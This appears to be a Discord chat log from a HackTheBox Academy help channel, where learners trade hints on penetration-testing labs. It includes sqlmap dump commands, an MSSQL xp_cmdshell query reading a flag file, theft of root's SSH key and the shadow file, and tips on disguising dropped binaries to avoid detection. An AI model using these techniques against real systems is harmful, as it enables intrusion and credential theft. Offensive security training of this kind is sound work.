I dont know much about Docker except for what they reach out in the module... Sorry but I still dont know where to look at. The cheatsheet does not mention anything about Docker. With LXD they provided explanation

[languid ginkgo]

like that:
||```
MATCH (u:User)
COUNT(DISTINCT(u)) as u
return u

?

[next bronze]

that could work but it will return a few extras, ignore the standard account and machine accounts

or you can just search @domain

[soft cedar]

you will have to review the section again or do some external research on that mate.

[soft cedar]

there was a whole explanation on docker daemon and clients, no?

[scarlet copper]

Good afternoon I can't understand why the button is not interactble after I make my changes.

Module: Using Web Proxies
Section: Skills Assesment
Question: The /lucky.php page has a button that appears to be disabled. Try to enable the button, and then click it to get the flag.

What I have tried: I intercepted the response and removed disabled from the html code then forwarded the response but when I click the button there is no flag.

[frozen mesa]

Yes there is, perfect understanding how it works after reading that but how do i access the deamon? Probably i've misinterpred of translated something wrong and keep missing the point because of that.

[soft cedar]

the daemon runs in the background, and we interact with it via the docker client.

[frozen mesa]

Did some RTFM, slightly understanding now how it works. Now i need to find out to start what Docker and how. Thanks for the help.

[soft cedar]

the socket then bridges that gap between the client & server.

[frozen mesa]

Hm will try. More of a Docker module than escalation techniques 😦

[frozen mesa]

Found it with your help!

Thanks for the patience 🙂

[soft cedar]

you can check if docker is running on the target.(docker --version) if not that's when you upload a docker container but in this case it is up and running, so you just enumerate.. as shown in the section.

[frozen mesa]

docker ps gives me running instances right?

@soft cedar I misunderstoond some of the explanation (English isnt my first language). With your help I've figured out what they tried to teach me. Thanks 🙂

[soft cedar]

yes

[topaz sable]

Guys what should I learn to be able to start cracking htb machines?

[coral flare]

Hi, inside the Brute Forcing module there is the task to bruteforce the ssh login for a certain user. When I try to fire up hydra against the target I get the error that the target does not support password authentication. Trying to connect via ssh user@ip reveals that it actually does not. I am using the pwnbox so I am guessing this is a bug?

[languid ginkgo]

Can I speak with you in private message ? The bot don't accept my message 😅

[next bronze]

just @domain in search

[blazing laurel]

hello

[languid ginkgo]

It's the same result with this request: MATCH (u:User {domain: 'INLANEFREIGHT.HTB'}) COUNT(DISTINCT(u)) as total_nb_user return total_nb_user

[next bronze]

it's not

I'm looking at it right now, they return different number of accounts

[languid ginkgo]

for me it's always ||15|| 🤔

[coral flare]

Can someone from HTB Team explain how I can get help for one of the questions in the academy? I am a silver subscriber for it and I have my discord linked but I cannot find the option anywhere.

[next bronze]

just search @INLANEFREIGHT.HTB in the search bar

[coral flare]

Ah, it was the good old not thinking it through kinda deal. I solved it but I would still like to know how I can use one of the perks that comes with my silver subscription.

[languid ginkgo]

Is the total number of users is ||10|| ?

[rustic sage]

Is there a way to remove the pwnbox display in the modules? Every single time I switch to the module the display downsizes. A reload fixes the pwnbox, but when I've RDP'd into somewhere else the RDP sessions downsizes as well which isn't fixed on reloads.

[fathom pendant]

no

however with most rdp tools you can enable dynamic resolution

which allows you to resize the screen

[jaunty stirrup]

Are the CTF's self paced or anything? Also, do you only get two free hours and then you have to pay? I'm just asking...

[fathom pendant]

wrong channel to ask; but CTFs are self paced -- and 2hr is lifetime of your account -- so yes

you can always use your own vm and the vpn

[coral flare]

You can press on fullscreen which will make it jump to its own tab

[coral flare]

Pwnbox is in the browser always.

[fathom pendant]

sir

they're talking about while being in an rdp session

and they load a new page in academy

the full screen resizes down

[coral flare]

I see.

Ma'am!

[fathom pendant]

xfreerdp has /dynamic-resolution which allows resizing

[coral flare]

Remmina is also a good choice if you prefer gui for whatever reason

[echo wren]

"If xss.htb.net was an intranet application, would an attacker still be able to capture cookies via sniffing traffic if he/she got access to the company's VPN? Suppose that any user connected to the VPN can interact with xss.htb.net. Answer format: Yes or No"

Taking a poll.... who thinks it's possible to sniff HTTP traffic from other users by way of your local machine's client VPN interface?

Am I missing something or this is a poorly written question?

[fathom pendant]

it's not poorly written

It's possible

[coral flare]

I don't get your point? The question is quite clear and the scenario is 100% realistic.

[fathom pendant]

I suggest rereading the section and maybe you glossed over something

[heavy edge]

this is very realistic

do you understand how vpns and network traffic work?

[echo wren]

Why would TCP traffic end up reaching an incorrect VPN interface? It's not a broadcast, and this is session security, it's not talking about ARP poisoning, MITM, etc....

[tulip dragon]

is htb academy poorly written

[heavy edge]

what do you mean incorrect vpn IF. it asks if YOU had access to the companys vpn

[coral flare]

Where does the question state anything about an incorrect vpn interface?

[coral flare]

Employees are connected to the companys infrastructure via client to site vpn.

[echo wren]

Years of experience with AnyConnect and GlobalProtect. I have a very good understanding of what traffic I can see from my local machine when I connect to a VPN - it's traffic from my client to whatever server, not traffic from other clients

[coral flare]

This is the scenario that is given to you.

[coral flare]

No, the clients will share a certain vpn dedicated subnet.

[heavy edge]

you can still sniff that traffic from other clients to the server on the subnet

[coral flare]

There are no broadcast domains or routing at play here. You are not grasping the question I feel like.

[fathom pendant]

99% no

[echo wren]

Incorrect.... you may be in the same IP pool, but that does not mean you are in the same L2/L3 segment as other clients

[fathom pendant]

brother you're overthinking it

[heavy edge]

doyou understand how VLANS and subnetting works

[fathom pendant]

it's not asking the granular details of it

[coral flare]

Mate, stop it you are embarassing yourself here.

[echo wren]

I'm just pointing out that it's a poor question

[fathom pendant]

it's saying if it's possible

which it is

[heavy edge]

im not even to that module( looks at Marcie) yet and i understand it

[coral flare]

It is ok not to know everything - I don't either but stop arguing over basic IT knowledge.

[fathom pendant]

i'm taking the question at face value

[coral flare]

I work in it-sec and I know how VPNs work.

[heavy edge]

i meant my use of module

not section

[fathom pendant]

because modules and sections are inherently different

[coral flare]

It's not, the academy material is crafted by people who are a lot smarter than most of us here including myself.

[fathom pendant]

sections are parts of modules

[coral flare]

wrong reply!

[coral flare]

I meant this.

[fathom pendant]

😡 i'm agreeing with you

[coral flare]

@fathom pendant chill, I said - wrong reply 😄

[fathom pendant]

Ik

[heavy edge]

fight fight fight fight

[coral flare]

lmao

[fathom pendant]

but the point is: The question was phrased in a broad manner

it wasn't phrased in a granular "if a or be" or "traffic getting routed to you somehow"

sniffing doesn't require seeing traffic come to you

especially since it's giving you an intranet site

[coral flare]

It is a simple thing. If the question doesn't name other variables - they are not at play. Anyone who has done some sort of IT certification, knows this. Especially CCNA is known for this.

[heavy edge]

^ yup

[tulip dragon]

https://tenor.com/view/michael-jackson-eating-popcorn-enjoy-i-like-nom-nom-gif-11040065238845078056

[coral flare]

Name checks out.

[uneven oracle]

Y’all on here being petty…? 👀

[heavy edge]

if you dont like the wording, apply to htb, take 4 years to advance to academy dev, find the backend academy site, find the SECTION then change it

[fathom pendant]

petty? no

[coral flare]

lmao

[tulip dragon]

he is not wrong

[fathom pendant]

nah just submit a suggested correction in #858470491676737536

then have the dozens of people that have completed it tell you why you're misunderstanding it ¯_(ツ)_/¯

[tulip dragon]

she is also not wrong

[heavy edge]

I was trying to get him to avoid that

[fathom pendant]

¯_(ツ)_/¯

[tulip dragon]

she right?

[coral flare]

Honestly, I am pretty high ranked in Tryhackme and I have been doing htb actively for the past 6 months and I am getting my ass kicked by the material on here but it's very high quality. I have yet to experience being wrongfully stuck at a box or module.

[fathom pendant]

high rank on THM

(being high ranked on THM is a meme here)

[coral flare]

Exactly, I doesn't mean shit.

Had to learn that the hard way.

[tulip dragon]

i think if thm also didn't have any help like yt video and writeups thenits 1 % would hve any value

[heavy edge]

THM needs to have an entire network that doesnt allow writeups and resets the vpn every 30m

then 1% means something

[tulip dragon]

true

[coral flare]

Tbf I think it is good way to start for total noobs and it did help me get more in the red-teaming even though I worked for 3+ years as cybersecurity consultant but it got clear pretty fast that I needed to switch to htb.

[tulip dragon]

i am 1 % i can say that it doesn't mean anyting

[heavy edge]

as of right now THM is for the ones who think 'del c:\windows\system32' is hacking imo

[tulip dragon]

in here i am stuck in 0 point cube question

[heavy edge]

[fathom pendant]

6.9.0

[heavy edge]

i enjoyed THM when i joined it, but its very hand holdy

[coral flare]

To sum it up, yes.

[heavy edge]

80% of the networks hold your hand and tell you where to look

[tulip dragon]

i have to say that 0 cube question is harder than other question

[tulip dragon]

sometimes

[tulip dragon]

https://tenor.com/view/maybeeeee-try-not-to-laugh-gif-12778510

[coral flare]

You guys are killing me 😄 I literally said what you are now making fun of - that this platform is on a whole 'nother level in comparison.

[heavy edge]

what am i doing wrong here

[echo wren]

Ok, now I'll be petty....

"Same Origin Policy cannot prevent an attacker from changing the visibility of @goldenpeacock467's profile. Answer Format: Yes or No"

This isn't even a question, it's a statement. "Session Security" MODULE content is ok, but the questions or non-questions at the end of each SECTION, are lackluster at best.

[next bronze]

so you answer yes or no, what's wrong with that?

[coral flare]

Incorrect, the question is if the statement is correct - yes or no.

[heavy edge]

its a T/F question w. Y/N

[coral flare]

If you don't like the platform just don't use it but please stop complaining about things which are absolutely fine.

[heavy edge]

spread security not hate my guy

[cloud urchin]

i enjoyed that module

[heavy edge]

which module?

[cloud urchin]

the session security one

[next bronze]

probably your nmap command? -sn disables port scanning so nmap uses icmp to scan the hosts and it doesn't work with socks

[heavy edge]

oh im stupid it targets 1 ip not the entire subnet

because that would take years

[late moth]

So I'm in the digital forensics module and on the skills assessment portion. Is the entire skill assessment done through velociraptor? I dont see any tools we used in the rest of the moduel on the target machine

I collected the artifacts with velociraptor, the disk image and the windows.memory.VAD artifacts, but stuck from there

[signal laurel]

Can someone DM about the hard skill assessment for Abusing HTTP misconfigurations. Im on the last step but its not working

[dim wolf]

what you see is what you get

you're stuck with velociraptor

[late moth]

the only thing they covered in the module with velociraptor was how to collect certain artifacts.. Well thanks for the direction to head at least

[dim wolf]

everything you were taught about velociraptor is all you need to complete the assessment

tool-operation wise

[late moth]

so you just have to manually sift through the artifacts with notepad or something?

or am i missing something

[dim wolf]

you certainly can't parse stuff like the memory or the MFT with notepad

you'll just have to think of another way to get the information you need

[coral flare]

Hey! Velociraptor is a great tool, I use it all the time when the customer is too broke for InsightIDR.

😄

[full nimbus]

Hey is it me or the modules lab is real slow ?

[coral flare]

My pwnbox was really slow aswell yeah, switched to my vm.

[full nimbus]

I restarted VPN already, but takes like 1 second when I type sth

[full nimbus]

I'm not using pwnbox, connecting ot hte instnaces directly...

[coral flare]

Hm, no that's fine.

[heavy edge]

okay question

this makes it seem like you already have access to the windows host.

why would i need to portforward if download the exe on the segmented host

[late moth]

mine are supwer slow as well

[coral flare]

Read again, port forwarding is needed for the reverse shell to connect back not for the initial payload transfer.

[heavy edge]

ahhh so the pyload xfer would happen first, you get in then can portfwd to get access to the internal lan

that is segmented

[coral flare]

Bingo!

[heavy edge]

that makes sense.

[coral flare]

Imagine connecting to some DMZ webserver for instance, you would pivot into the internal LAN like this bc it has 2 different NICs for instance.

[heavy edge]

okay liek a jump server and such.

[coral flare]

Never mind that that would be a terrible firewall config but yeah.

[coral flare]

No a server who has a leg each in different networks / vlans whatever.

[heavy edge]

youd use the jump host etc or whatever to get into the internal lan. when i did wreath i used sshuttle and chisel alot lol

so it makes more sense how htb is explaining it

[coral flare]

yeah, they are nice tools but ssh forwarding is really easy where applicable.

[heavy edge]

and showing the diagrams

[coral flare]

Yes 🙂 have fun!

[fathom pendant]

then you get tools like ligolo that just make it a LOT easier

[heavy edge]

i hear ligolo makes life great. i just need to learn it

[coral flare]

ligolo is nice yeah but in a real pentest you would want to avoid dropping unnecessary binarys to disk.

So anything that is not 100% needed will not be deployed.

That is the sad and unfun truth on real red-team engagements.

[fathom pendant]

true; but you'd also likely obviously obfuscate it as a "backup" or something of that kind

[north bramble]

Hello frens.

i am a bit stuck on this module
https://academy.hackthebox.com/module/147/section/1320

[fathom pendant]

it helps to explain what you've tried and where you're stuck

[coral flare]

I know what you are saying but any scan engine will detect is straight away unless you have rewritten the code to make it fresh.

[signal laurel]

Can someone help me with the final step on HTTP Misconfigations Hard Skill assessment?

[fathom pendant]

have you also looked at the provided hint for the question

[north bramble]

• 0 Examine the target and find out the password of the user Will. Then, submit the password as the answer.

Sometimes, we will not have any initial credentials available, and as the last step, we will need to bruteforce the credentials to available services to get access. From other hosts on the network, our colleagues were able to identify the user "Kira", who in most cases had SSH access to other systems with the password "LoveYou1". We have already provided a prepared list of passwords in the "Resources" section for simplicity's purpose.

this is the hint

Now I have found Wills password, how do I proceed further

[north bramble]

Sorry I was typing in another message

[fathom pendant]

if you found Will's password : put that as the answer

[coral flare]

Then, submit the password as the answer.

[fathom pendant]

^

[north bramble]

BROO

[fathom pendant]

[coral flare]

jesus @north bramble take a break, get some air. You're brain is washed. 😄

[north bramble]

WTF I DID THIS LIKE 6 hours back
IT SAID FIND ROOT PW

[fathom pendant]

nope; q clearly says Will

[north bramble]

BRO I SWEAR 5 hours back it said find root from wills PW

[fathom pendant]

always has

reading the question helps you answer the question

https://academy.hackthebox.com/module/147/section/1319 < you're thinking of the next section

[north bramble]

SHIT I AM SO STUPID THEN

I put in Wills password and it didnt accept it. I went out and came back redid the whole thing

[coral flare]

https://en.wikipedia.org/wiki/Cognitive_bias I recommend a read on this.

[fathom pendant]

it's literally the next section that has you use Will to find "root"

[north bramble]

LMFAOOO

I am soo stupid Sorry guys

[fathom pendant]

it happens

but I suggest taking a short break before continuing

[north bramble]

So sorry again to waste your time Ima read the other section and proceed

[mint otter]

what does ls -ltr do?

[coral flare]

https://explainshell.com/

@echo fractal or man ls

[mint otter]

thank you

[dim wolf]

nah i wasn't saying it's bad, just that it's the only thing you have available in the skills assessment

[coral flare]

I was just teasing 😛

[frozen mesa]

Linux privilege escalation --> logrotate , how to force the rotation?

[heavy edge]

holy fuck

ligolo makes it very easy

just using it is way easier than sshuttle or chisel

[north bramble]

https://academy.hackthebox.com/module/147/section/1319

on the next part. I just want to confirm if I am going right.
may I share what I have done so far?

[fathom pendant]

if you have the unshadow file: you're doing it right

otherwise gotta find a way to transfer the files back to your system

[north bramble]

1. found shadow and passwd file, copypasted it into my machine. simple ctrl c and v into nano editor

2. then unshadow

3, was running against rockyou, but read on forums to use mutated wordlist so using that now

Am I right?

Thanks frens

Okay cracked and got it thanks everyone

[soft cedar]

you can force it by writing to the log you found.

[coral flare]

Now check out ligolo-ng, in case you're really just using ligolo.

[heavy edge]

oh

im using the -ng

i went straigh for ng

[coral flare]

Good!

[coral flare]

nvm...

[heavy edge]

ive dissapointed him

[shrewd hazel]

whats the sqlmap parameter to just search all databases? i know how to do the current database --current-db

but how could i figure out the other databases there

nvm got it lol

[fiery crag]

Hey guys I am new here

Well I am from India is anyone also from India?

[pastel niche]

Is this the discord for the the trivia night??

[fathom pendant]

This isn't a gen chat, read and follow #welcome to access more of the server

[pastel niche]

Sorry to interrupt!

[fathom pendant]

I think it's already over

[pastel niche]

Shoot that’s right it’s European time

Welp

[fathom pendant]

It started like an hour and a half ago

So yeah

[shrewd hazel]

how can i narrow down this query in sqlmap to target a specific record to just get the name and cracked hash password for kimberly? sqlmap -u http://94.237.63.93:54245/case1.php?id=1 -D testdb -T users --sql-query "SELECT * FROM users WHERE name LIKE 'Kimberly Wright'" --dump

keep getting weird outputs. funny enough the --dump does give me the full table with kims cracked password but how can i tailor the command to just dump kim's name and cracked password

[fathom pendant]

Is "name" the name of the Column?

Also: spoilers dude

[shrewd hazel]

I dont want to exclude content that's needed for the question

It should be the name of the column lol did I miss that 😅

[fathom pendant]

¯_(ツ)_/¯

But tbh if your command here gets or is close to the answer it can be a spoiler

[leaden yew]

When it comes to documenting and reporting findings, can each finding (ex: LFI) be associated with multiple systems in the report, OR should there be one finding for each system affected by the finding?

[fathom pendant]

Each system can have different implications for the finding

[leaden yew]

So there should be a single finding listed per affected system because the details of the finding can be different than the same finding for another affected system?

[cursive shoal]

can somone give me a hint with the attack vector for the skill assesment for the "SQLMap" module

[leaden yew]

Attempt to find a way that a user would traditionally interact with the site, if it were a real site. Use a proxy to intercept some requests.

[cursive shoal]

ive been doing that

ive tested 3 post requests

[next bronze]

it depends, if the vulnerability is the same which means the recommendation will be the same, then I'd put it under the same finding

[leaden yew]

And just list the affected systems and how you found the vulnerability for each under the single finding?

[fathom pendant]

^ it just depends

[next bronze]

there's no strictly the right way, write it in the way that it makes sense and meaningful to the customer

[fathom pendant]

Just be consistent

[solar grove]

Hello, I am stuck on the following question in the SMTP module in the FOOTPRINTING module:
Enumerate the SMTP service even further and find the username that exists on the system. Submit it as the answer.
my code is the following but I get several SUCC values and I tried them all in the answer section but it doesn't work, can you help me?

smtp-user-enum -m RCPT -U /usr/share/wordlists/metasploit/unix_users.txt 10.129.42.85 25

[cursive shoal]

can somone give me a hint with the attack vector for the skill assesment for the "SQLMap" module ive looked for post requests with a proxy and cant find a vulnerable one for the life of me

[cloud urchin]

Use the wordlist provided by the module in the resources

[solar grove]

@cloud urchinI could not find there is no wordlist in the module

[cloud urchin]

There definitely is

[cloud urchin]

CTRL+F and type resources

[solar grove]

@cloud urchinThank you, I didn't see it.

[cloud urchin]

I found it by clicking every single link on the site with Burp until I found it

[cursive shoal]

I found it

thank you

[cloud urchin]

awesome

[potent thorn]

Anyone able to help me with this part of the Linux PTT of the passsword attacks module?

i feel as though i;ve followed all the steps in the example but i still cant get it to work.

[late moth]

from the Digital Forensics final skill assessment. The question: Determine the registry key used for persistence and enter it as your answer. . I have gotten the windows.kapefiles.target artifacts which has all the registry hives. But I have no clue what to do next since the target machine has no tools except Velociraptor. I am not sure how to use Velociraptor to go about finding this information. Any tips or guidance?

[potent thorn]

I just wanna know if im making a stupid mistake, is it asking me, once ive followed all the steps, to connect to //dc01/c$?

or another C drive? seems like a badly worded question to me

[river glade]

Hey

[late moth]

did you ever get a response to this?

[rustic sage]

can i dm a mod or htb staff please

[fathom pendant]

Why do you need to dm them?

[rustic sage]

I have an issue with linking my htb account to discord

[fathom pendant]

Then just dm a mod that's online

[quasi jungle]

https://academy.hackthebox.com/module/116/section/1468#questionsDiv
Managed to gain access to sqlcmd
Now enabled xp_cmdshell but when trying to read the flag

EXEC('EXECUTE AS LOGIN = ''john''; EXEC xp_cmdshell ''type C:\Users\Administrator\Desktop\flag.txt''') AT [LOCAL.TEST.LINKED.SRV]
2> GO
Msg 229, Level 14, State 5, Server WIN-HARD\SQLEXPRESS, Procedure xp_cmdshell, Line 1
The EXECUTE permission was denied on the object 'xp_cmdshell', database 'mssqlsystemresource', schema 'sys'.```

[fathom pendant]

Try as John as sa

[heavy edge]

If this is hard lab, you need to do EXECUTE() at()

There’s an example I believe of reading files remotely

[fathom pendant]

It's in the sql section

[heavy edge]

Oh

Ohhhhhhhhh okay I thought this was the lab

[fathom pendant]

It is the hard lab

The example you're talking of is in the sql section of that module

[limber river]

stupid question but just to make sure , in kerberos by keys we means password right
for example the TGT is protected with the KDC key, and the TGS ticket is protected with the service account key

[heavy edge]

oh i see what you are saying

[cloud urchin]

No. They are cryptographic keys used to encrypt and protect the integrity of the tickets.

the keys can be derived from passwords or other means

[limber river]

it's clear now , ty man

[clear orbit]

Hello, Im on the getting started module and on the priv esc section I'm stuck on the last task. It is asking me to elevate my privs to root. Here's what I did. I went to /root/.ssh and was able to read id_rsa. I copied the contents, returned to my kali machine and made a file called key and pasted the key there. Then, I did chmod 600 key. After that, I try to ssh in by doing ssh user2@IP -i key -p 57170. But the problem is that it doesn't work and just asks for the password. I would appreciate any help

[fathom pendant]

Why are you trying to ssh as user2 with the key?

Consider where you found it and what the goal is

[clear orbit]

I found the key in user2’s /root

And I’m trying to escalate my privileges

[fathom pendant]

/root/ isn't user2

[clear orbit]

So what user should I login as

Root?

[fathom pendant]

Yes

(Lowercase R)

/root/ is root's home, like how /home/user2 is user2's home

root is its own user, the super user

No

[clear orbit]

It worked, thank you!

[fathom pendant]

I know what excersize they're doing

[clear orbit]

ah alright that makes sense

[fathom pendant]

I suggest doing the linux Fundamentals course

As this is bare minimum linux knowledge

[fathom pendant]

Another way to think of it is root for linux is like administrator for windows (mostly)

[clear orbit]

I'm pretty familiar with linux, I just thought that I should login as user2 since it was user2's rsa_id.

[clear orbit]

yeah

[fathom pendant]

It wasn't user2's rsa

If it was, it wouldn't be in /root/

[rustic sage]

hi poe ple

[clear orbit]

Oh right

[fathom pendant]

(Not to mention if it was, you'd have been able to use it to log in as them)

[valid viper]

Hello, could someone please help me with the MSSQL module from Footprinting?

For the second question, I am unsure of how to show all databases...?

[heavy edge]

The command is in the section

[valid viper]

SQL> select name from sys.databases

?

[heavy edge]

It’s mssql i think the commands are different.

[valid viper]

That's what's in the lesson.

[heavy edge]

Oh

[valid viper]

SQL (ILF-SQL-01\backdoor  dbo@master)> 

[fathom pendant]

Depending what you're connecting with, sometimes it's dumb

Sqsh I've heard has issues

[valid viper]

I used mssqlclient.py

[fathom pendant]

Try reinstalling it then?

Or try adding a ; at the end

[valid viper]

I'm running the script directly.

Same result w/semicolon.

[fathom pendant]

Mssqlclient.py comes from the impacket suite of tools

[valid viper]

It's on Github.

[fathom pendant]

From impacket

[valid viper]

Yes.

[fathom pendant]

I didn't encounter this issue so idk what to say to fix

[heavy edge]

Are you using the command or the string. Try /usr/xxx or where it is installed

Sometimes@the standalone commands from inpacket can have issues

[fathom pendant]

If it's in their PATH it can be called from anywhere

[valid viper]

https://github.com/fortra/impacket/blob/master/examples/mssqlclient.py

I copied/pasted it from here.

[fathom pendant]

Ag

[heavy edge]

I know but I’ve been having issues with smb server and secrets dump@

[fathom pendant]

That would probably be why it's broken

[heavy edge]

So ive had to use the install path

[valid viper]

It should be installed on Parrot by default 😐

[fathom pendant]

I believe it is

Or you can do pipx install impacket

[valid viper]

$impacket
bash: impacket: command not found

[fathom pendant]

Impacket isn't the command you goon

[valid viper]

pip3 install impacket
error: externally-managed-environment

[fathom pendant]

Add --break-system-packages

[valid viper]

pip3 install impacket --break-system-packages
Defaulting to user installation because normal site-packages is not writeable
Requirement already satisfied: impacket in /usr/lib/python3/dist-packages (0.11.0)
Requirement already satisfied: dsinternals in /usr/lib/python3/dist-packages (from impacket) (1.2.4)

[heavy edge]

Uninstall then re install

[fathom pendant]

Then it looks like the impacket suite is already installed

[valid viper]

Bah...how do I run it?

[fathom pendant]

You should be able to call it from anywhere

[heavy edge]

Pip3 uninstall impacket

[fathom pendant]

Btw I'm referring to mssqlclient.py

[valid viper]

Right, yeah I get it.

[fathom pendant]

Impacket has a bunch of tools

[valid viper]

pip3 uninstall impacket
error: externally-managed-environment

[fathom pendant]

Add --break-system-packages

[valid viper]

pip3 uninstall impacket --break-system-packages
Found existing installation: impacket 0.11.0
Not uninstalling impacket at /usr/lib/python3/dist-packages, outside environment /usr
Can't uninstall 'impacket'. No files were found to uninstall.

😐

[fathom pendant]

It's installed systemwide

[valid viper]

Yes, and still won't run.

[fathom pendant]

So you'd likely need to use sudo

To uninstall

Or pipx

[valid viper]

Not uninstalling impacket at /usr/lib/python3/dist-packages, outside environment /usr
Can't uninstall 'impacket'. No files were found to uninstall.
WARNING: Running pip as the 'root' user can result in broken permissions and conflicting behaviour with the system package manager. It is recommended to use a virtual environment instead: https://pip.pypa.io/warnings/venv

[fathom pendant]

pip3 install pipx --break-system-packages

pipx uninstall impacket

[valid viper]

Req already satisfied for pipx...

pipx uninstall impacket
bash: pipx: command not found

[cloud urchin]

did you install impacket in docker? the error 'externally-managed-environment' indicates it may be managed outside of pip

[valid viper]

Possibly...but I haven't used it until now.

[cloud urchin]

well there ya go

[valid viper]

Okay, how do I fix it?

[sinful drift]

Hello, who else is this happening to that is not generating the target IP?

[cloud urchin]

idk what you're trying to fix

[valid viper]

I'm trying to run Impacket.

[cloud urchin]

I think its down, i can't spawn a box either

[valid viper]

Or at least, the portion of it to connect to MSSQL.

[cloud urchin]

impacket is a collection of tools, you don't just 'run impacket'

[valid viper]

python3 mssqlclient.py
python3: can't open file '/home/snow/Documents/mssqlclient.py': [Errno 2] No such file or directory

[cloud urchin]

your answer is right there in your error, that file doesn't exist in that location

[ocean night]

Do you have a link to the module please?

[valid viper]

Well I already downloaded the script and tried running it.

[sinful drift]

https://academy.hackthebox.com/module/49/section/1017

[ocean night]

Also which region are you working on?

[valid viper]

And the commands from the lesson are not working when I connect to the MSSQL server.

[cloud urchin]

Mine isn't spawning either. https://academy.hackthebox.com/module/51/section/1589

[ocean night]

Which VPN server are you both on?

[valid viper]

https://github.com/fortra/impacket/blob/master/examples/mssqlclient.py

[cloud urchin]

i am on USWest

[ocean night]

US 1, 2 or 3?

https://academy.hackthebox.com/vpn#

[cloud urchin]

looks like 'us academy 2'

[valid viper]

Mine is working.

[ocean night]

ty

[cloud urchin]

man i just got a shell via logrotate too lol

[fringe sand]

same issue

[cloud urchin]

You'll need to type the full path name if the file isn't in your current directory